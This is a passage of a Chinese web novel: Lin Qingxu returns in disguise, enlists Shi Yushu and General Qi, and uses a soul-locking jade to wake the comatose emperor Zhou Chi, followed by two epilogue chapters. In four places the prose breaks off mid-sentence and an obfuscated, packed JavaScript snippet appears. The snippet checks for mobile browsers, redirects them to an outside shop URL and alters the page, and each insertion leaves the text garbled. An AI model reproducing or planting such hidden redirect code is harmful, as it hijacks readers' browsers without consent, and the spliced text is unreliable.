石玉书正疼得直抽气,闻言浑身一僵,也顾不上疼,连忙捂住脸,辩解道:“我不是石玉书,你认错人了。” 林清许笑出了声,这下她更确定自己没有认错人。 “别装了,我认识你。”她蹲下身,仔细打量着他,“你如今怎的变成了这副样子?” 看到石玉书的时候,林清许的第一反应是惊讶,而后便是庆幸。 石玉书脸上净是灰土,听林清许的语气如此笃定,他没再否认:“对不起,我实在没别的办法了。” 他撑着地站起来,脸上净是灰土,眼神躲闪,神色窘迫。 “既然姑娘认出了我,那我便不再隐瞒,我的确是石玉书。家中变故后,我隐姓埋名,在一家客栈里当伙计,过得还算可以。前些日子我去集市上采买,却碰见几个官兵拿着我的画像,到处打听我的消息。” 他声音发颤,下意识朝巷口张望,又压低声音:“我担心是仇家寻上门来,所以不敢回客栈,这些天东躲西藏,身上带的银两也用光了,今日实在饿极,这才动了歪念。” 林清许盯着他,表情一言难尽。 如果她没有猜错,让人拿着画像找石玉书的,应该就是周池。 “看来你不知道最近京城里发生的事情。” 林清许轻叹一声,将齐海宽脱罪,石家翻案的事情简单说了说。 石玉书听完,顿时有些恍惚。联想起前些日子发生的事,他立即反应过来:“原来那些人不是来杀我的,我白跑了。” 林清许怜悯地点了点头:“是啊,你若跑得晚些,如今兴许已被接入齐府,吃香喝辣呢。” 石玉书神色懊恼,但林清许能看出,他并未对以后的好日子流露出渴望与欢喜的情绪。 “多谢姑娘告知此事。” 石玉书朝林清许作了一揖,转身就要离开。林清许哪能就这么放他走,立刻上前一步,拦住去路。 “慢着,我这边的事可还没完呢。” 石玉书停下脚步,眼中带着疑问:“姑娘还有何事?” 林清许咬了一口馒头,一边嚼一边口齿不清道:“跟着我。” 说完,她带着石玉书离开巷子,去集市上买了些吃食。待两人吃饱喝足,她又去车马行雇了辆马车。 车厢里,林清许与石玉书相对而坐。 待车帘放下,林清许转过头来,说出了她的计划。 “从现在开始,我就是你流落在外的姐姐,石家遇难后,你我姐弟二人东躲西藏,如今真相大白,才一同入京寻齐将军庇佑。” 石玉书听得愣神,半晌才道:“可是我家中并无姐妹。” 林清许眉头一皱,抽出袖中短刀,抵住石玉书的脖颈。 “再敢多嘴,我就押你去报官。” 石玉书瞪大眼睛:“小的记住了,你、你别杀我。” 林清许收回短刀,一言难尽地看着他。 罢了,真论起来,她还比石玉书大一辈,还是不吓唬他了。 “只要你按照我说的做,我就不会杀你。” 石玉书如小鸡啄米般点头,待气氛缓和下来,他才又开口道:“姑娘,你……” 林清许打断他:“唤我阿姊。” 石玉书连忙改口:“阿姊,你究竟是什么人啊?” “我是什么人,你以后就知道了。” “好吧,那阿姊你是怎么认出我的,我小时候似乎没见过你。” 回想起客栈里发生的事,林清许神色一僵。 “你没见过我,但我见过你。”林清许随口胡诌道,“你生辰礼的时候,我曾在宴席上见过你,只是那时你年纪太小,兴许不记得了。” 石玉书更疑惑了:“可是……” 没等他说完,林清许略带警告的眼神又扫了过来,吓得石玉书不敢再问。 这一路走来还算顺利,下了马车后,林清许领着石玉书四处打听齐府的位置,却在半路被拦下了。 “姑娘,我家小姐想和你说几句话。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286776|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林清许停下脚步,顺着丫鬟所指的方向望去,只见不远处停着一辆马车,车帘半卷,露出一张陌生的脸。 这是个年约二十的年轻女子,容貌清丽,衣饰素净,看上去就觉得她有一种沉静的气度。 “我不认得你家小姐。”她将石玉书挡在身后,再次握紧袖中的短刀。 那女子见她这副模样,也不恼,只朝丫鬟点了点头。 那丫鬟见状,退开几步,留出两人说话的空当。 “姑娘不必紧张,我没有恶意,只是见姑娘打听齐家近况,所以想问问可有能帮上忙的地方。” 林清许紧盯着她,忽然一个念头涌入脑海。 “你是安……” 安玲轻笑一声,只是她不便透露身份,所以做了一个噤声的手势。 林清许会意,随后跟着丫鬟,上了安玲的马车。 “不瞒安小姐,我的确需要你的帮助。” 虽然之前没见过安玲,但林清许对她的印象很不错。她运气可真好,若是安玲真能帮上她,能省下不少力气。 毕竟以她现在这个身份,想要见到当今圣上,着实有些难度。 林清许说了一通,安玲听了半天,脸上露出惊讶之色。 “姑娘竟是石家遗孤,我还以为……” 林清许警觉:“以为什么?” “没什么,只是一些无端猜测。”安玲摇了摇头,又静静看着林清许,轻声道,“既是如此,我便送你姐弟二人去齐府安顿下来。” 林清许点了点头:“多谢安小姐。” 她下了马车,领着石玉书跟在安玲的车驾后头。 石玉书大步跟着,附到林清许耳边,压低声音问:“阿姊,方才马车里那位是谁啊?” 林清许没回头:“自然是能帮我们的人。” 石玉书见她不愿多说,于是“哦”了一声,没有再问。 齐府比林清许想象中清简不少。 得知这是安玲亲自送来的人,齐府管事看见安玲立刻将人迎进偏院安置,又张罗着送茶送水。 安顿下来后,安玲与管事交代了几句,又转身看向林清许。 “齐将军这些日子都在宫中,何时回府还说不好。你们先在此住下,旁的事等将军回来再议。” 捕捉到自己关注的信息,林清许心头一紧,面上却不显。 “齐将军一直在宫中,可是宫里出了事?” 闻言,安玲神色一凛:“宫中之事,可不是我们这些人能够议论的。” 林清许明白自己试探失败,明明心中焦急万分,却又只得按下心绪。 “是我失言了,还望安小姐莫怪。” 安玲没再多说,只淡淡看她一眼,随后微微颔首,告辞离去了。 林清许立在廊下,看见安玲的身影从齐府大门消失,双手攥紧了衣袖。 她不知道宫里出了什么事,但能让齐海宽数日不归,连安玲都三缄其口,想来绝非寻常。 周池啊周池,我已经回到这里,你可别再出事了。 林清许走进院子里,望着皇宫的方向,神色肃穆。 20. 锁魂玉 林清许在偏院住下,心里却煎熬得很。 第五日傍晚,她终于坐不住了。 趁着石玉书在屋里打盹,林清许悄悄溜出屋门,顺着回廊摸到了前院。 “将军回来了。” 听到嘈杂的脚步声,她心头一跳,连忙躲到一根石柱后面。 她探头望去,只见齐海宽大步迈进府门,眉宇间还带着几分倦色。 林清许按捺住想要冲出去,向齐海宽询问周池近况的冲动,缩回石柱后面。 现在还不是时候,她身份是“石家遗孤”,一个未见过世面的乡野女子,怎可贸然上前打听朝中之事? 林清许深吸一口气,强迫自己冷静下来,待齐海宽的脚步声远去,才悄悄从原路退回偏院。 然而,没过多长时间,一个丫鬟便走到她的房前,敲了敲屋门。 “姑娘,齐将军要见你们。” 林清许理了理衣裳,叫上石玉书一起跟着丫鬟往前院走。 正厅里,齐海宽端坐上首,安玲也坐在一旁喝茶,见有人进来,两人齐齐望过来。 齐海宽目光落在石玉书身上:“你就是石玉书?” 石玉书有些紧张:“正、正是。” 齐海宽盯着石玉书看了片刻,忽然站起身,大步走到他面前,随后又伸出手,按在他的肩膀上。 “好孩子。”齐海宽说着,眼眶竟有些泛红,“你父亲,是我对不住他。” 见状,林清许一愣,随后明白过来。 当年齐海宽遭到周玄陷害,石墨身为挚友,被他连累一家人遇难,只留下石玉书一个孩子。 然而,齐海宽对此毫不知情,如今见到故人之子,心情激荡也是情理之中。 两人寒暄许久后,齐海宽才注意到林清许。 “你是?” 齐海宽有些疑惑,他记得石墨只有一个孩子,而安玲却说前来投奔他的是一对姐弟。 他能确定石玉书的身份,那眼前这个女子又是谁? 林清许心头一紧,面上却不动声色。 她正要开口解释,却被石玉书抢先一步。 “齐将军,阿姊是我路上认的义姐,若非她一路照拂,我恐怕早就……” 还没听完,安玲便放下手中的茶盏,抬眼看向林清许。 原因无他,石玉书和林清许的说辞,有些出入。 石玉书说她是他路上认的义姐,而林清许之前却说,石玉书在逃亡途中与她相遇,而她是石墨的远亲,自然也当得起石玉书一声阿姊。 “前几日与姑娘匆匆一见,竟忘了问起你的名字。”安玲脸上带着得体的笑容,声音也温和。 想到宫中不知情况的周池,林清许心一横,道:“我名叫林清许,小字阿妤。” 说完,她目光灼灼地盯着齐海宽。 不出所料,在她说出“林清许”三个字之后,齐海宽的脸色瞬间变了。 “你说什么?”他的声音陡然拔高,“你叫林清许?” 林清许点点头:“没错,就是你想的那个林清许。” 她垂下眼,掩住眸中的情绪,双手却攥紧了衣袖。 这一步棋,她走得冒险。 她如今没了身为系统的便利,饶有通天的气运,可凡事皆有万一。 毕竟死而复生、借尸还魂这种事,无论谁听了都不会相信吧? 万一齐海宽心生戒备,那她进宫见周池的计划就泡汤了。 林清许深吸一口气,把这些念头压下去。 如今她已表露身份,即便齐海宽不信,她也没有别的办法了。 齐海宽绕过石玉书,大步走到她面前。 “以后石玉书便是我齐海宽的义子,他对齐府不熟悉,麻烦玲儿带他去府里逛逛。” 安玲闻言十分诧异,但她还是起身,走到石玉书面前。 “玉书,随我来吧。” 石玉书愣了愣,下意识看向林清许,眼神里带着几分不安。 林清许冲他点了点头,示意他放心去。 待两人被支走后,齐海宽拧紧眉头,又问道:“你真是林大小姐?” 林清许摊了摊手:“如假包换,童叟无欺。” 齐海宽仍未全信:“你如何证明身份?” 林清许抬头看着他,脸色为难:“你当真要听?” 齐海宽坚定地点了点头,于是林清许开始了她的故事。 “第一次见你的时候,我正和周池在皇后娘娘的宫殿里玩捉迷藏,他躲得隐蔽,我找不到他,就觉得他一定是躲去了偏殿。我不知你在,看到你住的偏殿门口有人守着,便猜测是周池在里面,于是悄悄溜了进去。” 说到这里,林清许心虚地看了齐海宽一眼,见他似乎没有印象,才又硬着头皮往下说。 “事先声明,我当时真不是故意的。我摸进你屋子的时候,你正在榻上睡觉,我以为躺着上面的人是周池,所以想吓一吓他,结果你那里东西太多,我一不小心绊倒,顺便把你榻边架子上的一排花瓶给撞翻了。” 林清许说到这里,声音略显尴尬。 那日她蹑手蹑脚摸进偏殿,绕过屏风,隐约瞧见榻上躺着个人,以为是周池躲在这里睡大觉。 她心里气恼,所以想从背后吓他一跳,便悄悄摸过去,结果没走两步,就不知被什么东西给绊了。 她记得很清楚,那排花瓶一个接一个地倒下去,乒呤乓啷碎了一地,动静之大让齐海宽从睡梦中猛地坐起来。 “我当时趴在地上,”林清许的声音细若蚊蚋,“头上还顶着一个没碎的花瓶,那花瓶正好卡在我脑袋上,拔不下来。我旁边都是碎瓷片,被花瓶罩住眼睛,什么也看不见,吓得直哭。” 林清许已逐渐变得有些绝望,当时的情景真是太丢人了,场面十分混乱,她甚至不知道自己当时是怎么离开的那间屋子。 直到周池帮她取下花瓶,林清许才知道自己认错了人。 齐海宽直直地看着她,眼神从最初的惊愕,渐渐变得复杂起来。 “你说的事情的确发生过,而且知晓此事的人也并不多,可林大小姐已故去多年,你……” 齐海宽说着说着,突然灵光一现:“难不成当年死的人不是你,而是有人假扮的?” “可能或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294687|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许是吧。”林清许含糊其辞。 她知道齐海宽这是信了,然后以己推人,以为她当年也是假死。 但她当年是真的死了,但这种事不好和他细说,还是先让他这么以为吧。 见林清许承认,齐海宽也松了口气。 “你假死后,表弟也一改常态,当初究竟发生了什么事?” 林清许摇摇头:“说来话长,往后有机会再和齐将军细说。眼下我只想问一句,周池这些日子究竟出了何事?” 齐海宽沉默了一瞬,过了一会儿才开口道:“陛下自恭亲王造反失败后,便一直郁郁寡欢,有时朝中大臣言辞稍有不慎,他便勃然大怒,将其杖责贬职。心情气氛倒也不算什么,但前些时日,他不知为何,竟突然昏迷不醒。” 林清许脸色骤变:“昏迷不醒,什么时候的事?” 齐海宽沉声道:“已经有半个月了。” 半个月,那不就是她穿到林轻语身上的时候吗? 难道说,周池的昏迷与她有关? 林清许深吸一口气:“太医怎么说?” 齐海宽眉宇间尽是忧色:“他脉象平稳,气息如常,可就是醒不过来。众太医轮流守着他,日夜施针用药,可惜没有一点用处,如今他们也已束手无策。” 闻言,林清许垂着头在屋里来回踱步。 她心里又担心又着急,周池这个症状太医治不了,即便她现在去见他,或许也帮不上什么忙。 周池的情况,听上去有些像离魂之症,也就是民间常说的失了魂。 等等,离魂之症! 林清许恍然大悟,之前小女孩离开时那段意味深长的话,她现在终于明白过来。 “齐将军,你相信我吗?” 林清许抬头,直视齐海宽的眼睛:“我能救周池,但我需要你的帮忙。” 闻言,齐海宽先是一愣,随后重重点头。 “你我虽不相熟,但你与陛下的情谊至深,我这个做表兄的也看在眼里。需要做什么,你尽管开口便是,我定义不容辞。” 林清许心中涌起一股暖意,她与齐海宽只见过几次,正常来讲,他不应如此信任她。 但齐海宽却毫不犹豫,其中有一大部分是因为周池。 由此可见,他们表兄弟之间的亲情真是深厚。 林清许压下心中感慨,低声道:“既然如此,那便劳烦齐将军随我去取一样东西。” 齐海宽没有多问,当即点头应下。 见他答应得如此爽快,林清许心里反而有些过意不去。但如今周池昏迷不醒,她也顾不得那么多了。 “那东西在哪儿?” 林清许抿了抿唇,眼神飘忽,声音也低了下去:“兴许还在天牢。” 齐海宽惊疑不定:“天牢?” 林清许怕他多想,连忙解释:“是一枚玉佩,可以锁住人的魂魄。林家被打入天牢,那枚玉佩兴许已被狱卒搜刮走了。” 过去的这些日子,林清许的容貌已逐渐发生了变化,如今她已与自己原本的样子差不了多少,要是苏楚看到她现在的模样,肯定认不出她是林轻语。 21. 我回来了 纵使心里有再多疑虑,齐海宽也没有多问。 不过林清许毕竟是林家人,若是贸然进入天牢,被有心之人认出来,反而会增添许多麻烦。 如今齐海宽在京城各处自由进出,颇有一人之下万人之上的地位。 于是,齐海宽沉吟片刻,心中有了计较。 “天牢那边,你不必亲自去。” 林清许疑惑道:“可是锁魂玉......” 齐海宽打断她:“你把玉佩的样子仔细说与我听,我亲自带人去取。你终究是林家的人,天牢里耳目众多,万一被人认出来,莫说给表弟治病,连你自己都要搭进去。” 林清许沉默片刻,然后点了点头。 详细描述了锁魂玉的形状颜色等特征后,林清许就坐在木椅上,一直等着。 窗外天空从墨黑色变成深蓝色,过了一会儿,深蓝色中又泛起一抹鱼肚白,最后又染上一层淡淡的金色。 林清许一夜未眠,从天黑等到天亮,这才等到齐海宽回来。 齐海宽面上带着几分疲惫,走了进来。 “这块玉佩被一个狱卒收走了,我带人去天牢打听时,正逢他值守,若是再晚几个时辰,他就要把它拿去典当,换酒钱了。” 他捧着一个木匣,将它递给林清许。 林清许打开木匣,只见一枚通体莹润,洁白如云的玉佩静静躺在里面。 看到这枚玉佩,林清许心里那焦灼不安的情绪,似乎也平息了些。 她伸手合上木匣,随后朝齐海宽行了大礼。 “此番,多谢齐将军了。” 齐海宽赶忙将她扶起:“不必言谢,这是我应该做的。” “不过——”他略显迟疑,问道,“这玉佩当真有那奇特的效果,可以救表弟吗?” 林清许攥紧了手心:“能救。” 她说得坚定,但实际上心里也没底。如今这副情景,她只能赌一把。 如今宫中戒备森严,林清许不好进去,于是让齐海宽将锁魂玉带到周池身边,而她则继续留在齐府等消息。 齐海宽带着玉佩入宫时,还不到午时。此时周池面色苍白如纸,静静地躺在龙榻上,身边围着好几个太医。 以防引起不必要的麻烦,齐海宽悄悄从木匣中取出锁魂玉,趁旁人不注意,将它塞进周池的手中。 一柱香过去了。 半个时辰过去了。 齐海宽依旧没有放弃,守在周池旁边,目不转睛地盯着他,生怕错过一丝变化。 * 齐海宽走后,林清许便回到自己住的屋子里。 丫鬟为她送来早膳,可她此时心系周池的情况,焦虑得根本吃不下饭。 她在屋里来回踱步,走上几步就要看一眼窗外。太阳逐渐西斜,每次看到窗外有人影摇晃,或者听到有脚步声靠近,她都会打开门看上一眼。 只可惜,每一次过来的人都不是齐海宽。 等着等着,林清许开始后悔没有跟去,哪怕只是远远地看着,也好过这样干坐在屋子里,什么都不知道,什么都做不了。 天色终于暗下来的时候,院外走来一个人。 林清许冲了出去,她看见齐海宽的身影出现在暮色里,脚步匆忙,脸上却没有喜色。 见状,林清许的心沉了下去。 “齐将军……” 齐海宽走到她面前站定,没有说话,只是摇了摇头。 林清许只觉得耳边嗡地一声,脑海中一直绷着的弦断了。 “怎么会呢,怎么会一点用处都没有呢?”林清许喃喃道。 林清许颤抖地接过木匣,那枚锁魂玉静静躺在里面,通体莹润,洁白如云,和记忆里的一模一样。 她伸手去抓这枚玉佩,指尖触到它的瞬间,一股温热的细流瞬间传进她的手指。 与此同时,原本洁白的玉佩,忽然泛起一层光泽,露出内部流动的青色纹路。 林清许一惊,险些将玉佩扔了出去。 齐海宽站得近,自然也看到了这一异象。转瞬间,他瞳孔微散,似乎明白了什么。 “方才在周池身边,它始终是一块死物,没有任何变化,但你不同。”他有些懊恼,也有些后悔,“我早该想到的,这锁魂玉本就是你们林家的东西,或许也只有你们林家人才能发挥出它的作用。” 林清许眨了眨眼,低头看向手中的玉佩,将它紧紧攥住。 齐海宽见她这般神色,心中已然猜到几分。 “你是不是想要进宫?” 林清许抬起头,反问道:“既然只有我才能让它起效,那我进宫有何不可?” 齐海宽望着她,轻声道:“可以,只是你不能就这么进去。” 一个时辰后,林清许换了一身内侍的衣裳,低着头跟在齐海宽身后。 这些日子,齐海宽在宫中往来频繁,加上护卫军都认得他,见他带着一个低眉顺眼的小内侍,也无人多问。 夜色已深,留在寝殿里的侍卫却比白天的更多了。 林清许悄悄抬头看了一眼,见周池床榻旁有一名头发花白的太医为他施针,试图将他唤醒。 她脚步稍顿,心里也有些慌张。 那太医施完最后一针,抬手擦了擦额角的汗,转头看见齐海宽,沉沉地叹了口气。 “陛下的病情还没有起色?” 太医摇了摇头,面色凝重。 “老夫行医数十载,从未见过这般症状。陛下脉象平稳,气息和缓,可偏偏就是醒不过来。” 齐海宽微微颔首:“辛苦了,今夜我来守着。” 闻言,太医又叹了口气,收拾药箱离开了寝殿。 齐海宽扫了一眼殿内值守的侍卫,刚要寻个由头让他们退后一些,却不料他还没开口,赵青就从门外走了进来。 “齐将军。” 见到齐海宽,赵青先是一愣,随后拱手行了一礼。 见状,林清许低垂着头,右手攥紧那枚玉佩,向龙榻所在的方向一点一点地挪动。 “这人看着有些面生。”赵青注意到她,皱着眉头问道,“你是新来的?” 林清许没有答话,她不会伪装声音,一旦开口,身份就暴露了。 齐海宽走到赵青与林清许中间,面色不变:“这人是我府上的,做事稳妥,把她带进宫里伺候陛下,这样我夜里还放心些。” 赵青的目光在林清许身上停留了片刻,点了点头。 随后,他走到龙榻边,看到周池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303364|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苍白的脸色,眉头紧锁。 “陛下今日还是老样子?” 齐海宽“嗯”了一声。 赵青沉默片刻,忽然道:“齐将军这几日辛苦,今夜我来守着陛下,齐将军回府歇息吧。” 齐海宽心头一紧,面上却不显,只道:“不必,我守着就行。” 两人你一言我一语,谁都不肯退让。然而,就在两人僵持不下时,林清许忽然动了。 她低着头,端起铜盆,一步步走向龙榻。 赵青的目光扫向她,微微皱眉,面露不满:“你……” 林清许硬着头皮往前走,没有停下脚步。 她走到榻边,将铜盆放在一旁,又拧了一块帕子,动作轻柔地为周池擦拭脸颊。 赵青张了张嘴,想说什么,却被齐海宽打断了。 齐海宽上前一步,恰好挡住了赵青的视线:“赵统领,借一步说话。” 赵青看了他一眼,又看了看榻边的林清许,终于无奈地点了点头,跟着齐海宽往殿门方向走了几步。 就是现在! 林清许俯下身,借着擦拭的动作,缓缓将玉佩贴上他的脸颊。就在触碰的瞬间,那枚玉佩忽然爆发出耀眼的白光。 与此同时,一阵久违的提示音出现在两人的脑海中。 【主线任务已完成,双人契约缔结中】 【双人契约缔结完毕,周池与林清许从此生命共享,气运共享】 提示音结束后,白色光芒瞬间将二人笼罩。林清许想要松手,却发现手指像被定住一样,怎么用力也无法移动。 赵青和齐海宽同时转身,却被那刺目的白光逼得睁不开眼。 见此异象,赵青与一旁的侍卫下意识想要冲过去,却被白光形成的屏障拦在外面。 几息时间过去,周池睁开了眼睛。 周池的目光落在林清许身上,眼神清明,甚至带着喜悦到极点的癫狂。 “阿妤,是你吗?”他声音颤抖,紧紧抓住林清许的双手,就像是抓住了失而复得的至宝。 “周池哥哥,是我。”林清许伏在床榻上,泣不成声,“我回来了,这次我带着记忆回来见你了。” 白光逐渐散去,见周池已然苏醒,赵青激动万分,正要过去的时候,齐海宽一把拽住了他。 周池扭过头,看见殿内乌泱泱的站着一群人,顿时脸色一黑。 “都下去吧,没有朕的命令,不许进来。” 赵青闻言张了张嘴,想说些什么,可对上周池冷峻的目光,所有的话又都咽回了肚子里。 “属下遵命。” 他躬身行礼后,与齐海宽一同退了出去。其余侍卫见状,也纷纷低头退出殿外。 龙榻上,周池撑起身子坐起来,紧紧握住林清许的手,眼神里是难以掩饰的兴奋。 “阿妤,我等了你好久。”周池将她揽入怀中,语气中带着一丝庆幸,“你终于回来了,我们以后再也不要分开。” 林清许侧着头看他,轻声道:“好,以后你我同生共死,再也不会分开。” 周池低下头,在她额上落下一吻。 窗外月色正好,殿内烛火摇曳,他们也终于等到了属于彼此的光。 (正文完) 22. 番外一 周池醒来之后,做的第一件事就是立林清许为皇后。 然而在旁人看来,死去之人无法复生,林家主家又被林宿牵连名声有损,而苍兰国的第一任皇后必须出身清白,决不能与罪臣有瓜葛。 于是,周池想了个办法,先是让石玉书亲口证明林清许是他流落在外的姐姐,又让齐海宽认他为义妹,之后的一切便水到渠成了。 皇后的身份挑不出毛病,加上周池心意已决,大臣们也就无从反驳。 封后大典定在三月初七。 那夜,红烛高照,周池换下繁重的礼服,走向林清许所在的栖凤宫。 见他进来,喜娘与宫女们齐齐行礼。他抬手挥退众人,隔着床榻上的红帘,看着他的皇后。 林清许双手交叠放在膝上,大红嫁衣铺陈开来,金线绣的凤凰图案在烛光下流转生辉,让人一看过去就移不开眼。 “阿妤。” 他低声唤她,从托盘里拿起一杆镶玉的喜秤。 盖头之下,是一张他再熟悉不过的脸。大婚之日的妆容比平日精致许多,许是还没做好准备,被掀起盖头时,林清许还未收起脸上疲惫的表情,就被周池的目光撞了正着。 “怎么来的这样早?” 周池没答话,他把喜秤放回托盘上,在林清许身旁坐下,轻声道:“我想起了一件事,所以急着过来。” 闻言,林清许的困意淡了些:“哦?说来听听。” 林清许起了精神,好奇地看着周池。然而周池却十分郑重,一字一句地道了句:“阿妤,你相信这世上有神明吗?” 林清许:“......”这狗东西耍我! 她觉得周池在捉弄她,于是气得推了他一把,然后抓了一把榻上撒着的花生红枣,用力朝他扔去。 “大婚之日,你跟我说这个?” 周池没有闪躲,任由那些花生红枣砸在身上。他眸中染上笑意,像是早就料到他会是这般反应。 “怎么,我的阿妤不信神明?”他伸手拿过一颗花生,剥开外壳,将里面的花生仁递给林清许。 林清许看着递到嘴边的花生仁,愣了一下,随后张嘴咬走了那颗花生仁。 没办法,她今日天还没亮就被拖起来梳妆打扮,晨起时用了两块点心,折腾了一整日,如今早已腹中空空。 周池笑意更深了,他又拿起一颗花生剥开,道:“阿妤别恼,我方才的话是认真的。” 林清许正吃着花生,闻言抬眼看他:“我相信世上有神明,不然我一个死去多年的人,怎么还能回来呢?” 周池定定地看着她,手上剥壳动作的速度却不减,直到榻上的一小把花生被林清许吃了个干净,他才低笑一声,抬手拂去她嘴角沾着的一点红色花生衣碎屑。 “阿妤,你怎的不提之前扮成系统回来帮我的事?” 闻言,林清许瞪大眼睛,颤抖地指向他:“你都想起来了?” 事实上,并不是林清许有意隐瞒,而是周池醒来后就没提过系统的事。 林清许甚至还试探过几次,发现他没有忘记那些日子发生的事,但有关系统的一切,他似乎全都忘记了。 本来她想着,周池忘了就忘了吧,反正人回来了就好,那段时间的记忆有她一个人记着就好。 然而她没想到,周池竟然在他们二人成婚的这日,想起了系统的事。 “其实我也是才想起来的。”周池将手中的花生壳扔到地上,“上一世,我活到了三十多岁,手握生杀大权,这天下再无一人可违逆我,但我却觉得这样的日子毫无意义,所以我跳进莲花池里,想要去下面找你,但我失败了。” 林清许直直地看着周池,她知道这些事情,因为那个自称是神明女儿的人曾说过,周池因她的死去性情大变,成了一个不折不扣的暴君,而且之后又自尽而亡,导致位面崩坏。 “你是不是也见过那个金色眸子的小女孩?” 周池沉思片刻,随后轻轻点了点头。 “那位神明的脾气似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308722|197356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎不太好,祂说自己尝试过很多次,可这个世界位面却依旧崩塌了,所以祂主动出现在我面前,问我究竟为何要自尽。我说了原因,祂却问我愿不愿用自己一半的寿命与运气,来换你重新回到这个世界。” 电光火石之间,林清许将一切都串联起来,小女孩意味深长的话语,那枚神奇的锁魂玉,以及周池苏醒前那道令人熟悉的提示音,从前她想不明白的事情,如今都有了解释。 “周池。”她叫着他的名字,声音发颤,“你是不是傻?” 周池伸手腹轻轻擦过她的眼角,半开玩笑半哄道:“是啊,若不是傻,怎能明知系统就是你,却还是装作不知,想等你自己慢慢想起来呢?” 林清许拍开他的手:“少来,你当时记忆不全,分明就不知道我的身份,最多只是猜测而已。” 周池笑道:“即便如此,我也猜对了。” 林清许被他这无赖行径弄得没了脾气,只得红着眼眶瞪他。 “阿妤。”周池终于收敛了笑意,无比珍重地捧着林清许的手,温声道,“说了这么多,我其实只想告诉你,用一半的寿命与运气还你回来,我绝不后悔,因为我爱你,哪怕要用全部的……” 还没说完,林清许便欺身而上,用她的唇堵住了周池还未说完的话。 窗外,月亮被黑云遮住,忽的起了一阵夜风,黑云被夜风吹散开,露出里面皎洁如水的半月。 夜风拂过,挂在天幕上的星星忽明忽暗,似乎在微微颤抖。片刻后,风势越来越大,裹挟着“呜呜”的呼啸声,阵阵袭来。 直到天边泄出一抹白光,风儿才渐渐停歇。 不知何时,林清许已沉沉睡去,她的脸颊贴在周池的胸口,呼吸均匀而绵长。 她睡得香甜,周池却一夜未眠。 他就这样静静地看着她,看着她微微颤动的睫毛,看着她偶尔蹙起的眉头,看着她无意识往他怀里靠拢的动作。 每一眼,都像是要把这些年缺失的时光都补回来。 23. 番外二 当初为了阻止周玄造反,周池本要命令护卫军将御花园假山处的密道出口给封死。然而,他正要传令时,林清许却突然集满能量被传送走了。 周池心急如焚,传令时一心想着该怎么让她回来,于是就传错了话。 于是,当周池得到消息的时候,御花园最西侧的假山,以及假山后的那片金灯花田,已经被护卫军用火药给炸平了。 那段时间,周池日理万机,既要收拾周玄留下的烂摊子,还要重翻当年齐海宽通敌、石家惨遭灭门的案子,时不时还得应付那些惯会见风使舵的朝臣。 等他好不容易腾出手来,又因为林清许的魂体回到这里,导致他神魂不稳,直接昏了过去。 苏醒之后,他又忙着筹备立后之事,竟将那片金灯花田忘了个干净。 直到某天,林清许实在受不了这种管好她自己,就相当于管好整个后宫的清闲日子,揽下了管理皇宫账务的活。 翻看账册时,林清许发现了一笔不菲的支出,随后她径直去了御花园。 面前是一片崭新的花圃,花草种得整整齐齐,一看就是精心打理过的。 可林清许分明记得,这里原该有一座假山,假山后面有一片小小的金灯花田。 “本宫记得这里原来有一座假山,现在为何没了?”她指着面前的花圃,朝身旁的宫女问道。 宫女仔细想了想,犹豫了一会儿才道:“这个,奴婢也不清楚。只是听说,似乎是陛下亲自下令,用火药炸平的。” “用火药炸平?” 想起之前开得像火焰一般耀眼的花,林清许气不打一处来。 她带上账册,风风火火地冲进御书房,将账册往桌案上一摔。 周池错愕地抬起头,便见林清许满是怒气的脸,心里浮现出四个字——来者不善。 周池摆摆手,示意周围的内侍退下。 等门关上,他看着林清许,露出一抹笑意:“阿妤怎么来了,可是想我了?” 林清许指了指桌案上的账册,低声道:“你先看看这个。” 无奈之下,周池只好翻看起来。 “阿妤怎的查起宫里的账务了,这些事情有旁人去做,不必让你费心思。” 林清许冷笑一声:“在不给自己找点事做,我都要闲得发霉了。” 周池翻账册的手微微一顿,抬眼看她:“怎么,后宫的事务太少,让阿妤觉得无趣了?” 